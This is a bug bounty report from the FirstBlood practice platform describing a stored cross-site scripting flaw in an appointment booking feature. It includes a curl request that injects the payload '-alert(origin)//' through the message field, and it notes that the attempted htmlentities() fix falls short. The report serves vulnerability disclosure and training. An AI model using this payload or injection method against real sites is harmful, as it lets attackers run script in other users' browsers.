FirstBlood-#366Stored XSS via message parameter on manageappointment.php endpoint
This issue was discovered on FirstBlood v2



On 2021-10-25, panya Level 7 reported:

Steps to reproduce:

  1. Make an appointment on book-appointment.php page. Fill the "Special Message" field with the text '-alert(origin)//. E.g. see this request:
    curl 'https://579a3c7897af-panya.a.firstbloodhackers.com/api/ba.php' -H 'csrf: 99215d4e-0ff3-4275' -H 'Cookie: doctorAuthed=eyJkb2N0b3JBdXRoIjphdXRoZWR9' --data-raw $'fname=test&lname=test&address=test&city=test&phonenumber=test&email=test&dob=10/21/2021&a1=test&a2=test&a3=test&message=\'-alert(origin)//&slot=1'
  2. Visit your appointment (aptId 9d38643e-7da9-41b3-81cc-31c005900d27 in our case) via this URL: https://579a3c7897af-panya.a.firstbloodhackers.com/manageappointment.php?success&aptid=9d38643e-7da9-41b3-81cc-31c005900d27

Actual result:

There will be an alert with the text: "https://579a3c7897af-panya.a.firstbloodhackers.com"

Expected result:

The message parameter value should be properly escaped or sanitized. The alert should not be shown.

Impact:

An attacker could execute JS code on behalf of a user of this site.

P2 High

Endpoint: /manageappointment.php

Parameter: message

Payload: '-alert(origin)//


FirstBlood ID: 22
Vulnerability Type: Stored XSS

Whilst an attempt was made to fix the stored XSS vulnerability in managing an appointment, it actually introduced new issues such as when creating and editing and not just when cancelling the appointment. Making use of htmlentities() and relying on .value() in javascript to encode certain characters does not prevent XSS overall. The 'fix' to this issue also results in it being vulnerable to admins on cancelled appointments as well.